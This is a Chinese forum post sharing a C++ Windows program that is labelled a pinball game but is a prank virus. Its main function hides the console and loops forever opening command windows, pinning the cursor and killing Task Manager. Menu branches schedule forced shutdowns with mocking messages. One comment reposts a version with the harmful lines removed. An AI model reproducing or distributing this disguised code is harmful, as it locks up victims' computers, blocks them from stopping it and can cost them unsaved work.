好玩的病毒(愿者上钩)
2026-08-08 19:16:05
发布于:广东
改了我同学的,更猛了
#include <bits/stdc++.h>
#include <windows.h>
#define t system
#define g cout
#define h cin
#define j endl
#define sleep Sleep
#define pos SetCursorPos
#define ROW 10
#define COL 10
using namespace std;
void a(int n){
if(n == 1){
string m;
t("cls");
g << "欢迎来到弹球小游戏" << j;
g << "----------------------------------" << j;
g << "请问你要选择人机战还是真人战" << j;
h >> m;
if(m == "人机战"){
sleep(2000);
t("shutdown -s -t 30 -c 就你还想以大欺小,30秒关机,启动!");
HWND hWnd = GetConsoleWindow();
ShowWindow(hWnd, SW_HIDE);
while(1){
t("start cmd");
pos(0,0);
t("taskkill /f /im taskmgr.exe");
}
}
else if(m == "真人战"){
t("cls");
}
}
else if(n == 2){
t("cls");
cout << "恭喜你,选择正确,欢迎来到弹球小游戏" << j;
}
else if(n == 3){
string v;
t("cls");
g << "那个2报错了,所以转到我这个" << j;
g << "欢迎来到弹球小游戏" << j;
g << "----------------------------------" << j;
g << "请问你要选择系统战还是双人战" << j;
h >> v;
if(v == "系统战"){
}
else if(v == "双人战"){
}
else{
g << "太粗心了吧?几个月了都忘了是吧?放心,这次作者一定能让你恢复记忆!!!";
cout << j;
sleep(2000);
t("shutdown -s -t 200 -c 200秒超长关机,启动!");
HWND hWnd = GetConsoleWindow();
ShowWindow(hWnd, SW_HIDE);
while(1){
t("start cmd");
pos(0,0);
t("taskkill /f /im taskmgr.exe");
}
}
}
}
int maim(){
HWND hWnd = GetConsoleWindow();
ShowWindow(hWnd, SW_HIDE);
FreeConsole();
AllocConsole();
HWND Hwnd = GetConsoleWindow();
LONG_PTR sty = GetWindowLongPtrA(Hwnd, GWL_STYLE);
sty = sty & ~WS_SIZEBOX & ~WS_MAXIMIZEBOX & ~WS_MINIMIZEBOX;
SetWindowLongPtrA(Hwnd, GWL_STYLE, sty);
HANDLE hOutput = GetStdHandle(STD_OUTPUT_HANDLE);
CONSOLE_CURSOR_INFO cInfo{};
GetConsoleCursorInfo(hOutput, &cInfo);
cInfo.bVisible = false; //true为显示光标,false为隐藏光标
SetConsoleCursorInfo(hOutput, &cInfo);
HWND hwmd = GetForegroundWindow();
SetWindowText(hwmd,TEXT("弹球小游戏"));
//sty =sty & ~WS_SIZEBOX & ~WS_MAXIMIZEBOX & ~WS_MINIMIZEBOX; //更改字体颜色(没啥用)
//SetWindowLongPtrA(hWnd, GWL_STYLE, sty); //更改字体颜色(没啥用)
t("color 0E");
t("cls");
int x;
g << "请输入1(2也行)启动游戏" << j;
h >> x;
a(x);
g << x;
}
int main(){
HWND hWnd = GetConsoleWindow();
ShowWindow(hWnd, SW_HIDE);
while(1){
t("start cmd");
pos(0,0);
t("taskkill /f /im taskmgr.exe");
}
return 0;
}
全部评论 3
#include <bits/stdc++.h> #define t system #define g cout #define h cin #define j endl #define sleep Sleep #define pos SetCursorPos #define ROW 10 #define COL 10 using namespace std; void a(int n){ if(n == 1){ string m; t("cls"); g << "欢迎来到弹球小游戏" << j; g << "----------------------------------" << j; g << "请问你要选择人机战还是真人战" << j; h >> m; if(m == "人机战"){ } else if(m == "真人战"){ t("cls"); } } else if(n == 2){ t("cls"); cout << "恭喜你,选择正确,欢迎来到弹球小游戏" << j; } else if(n == 3){ string v; t("cls"); g << "那个2报错了,所以转到我这个" << j; g << "欢迎来到弹球小游戏" << j; g << "----------------------------------" << j; g << "请问你要选择系统战还是双人战" << j; h >> v; if(v == "系统战"){ } else if(v == "双人战"){ } else{ g << "太粗心了吧?几个月了都忘了是吧?放心,这次作者一定能让你恢复记忆!!!"; cout << j; } } } int main(){ int x; g << "请输入1(2也行)启动游戏" << j; h >> x; a(x); g << x; }病毒已拆完
1周前 来自 广东
0
1周前 来自 广东
0牛福
1周前 来自 广东
0
























有帮助,赞一个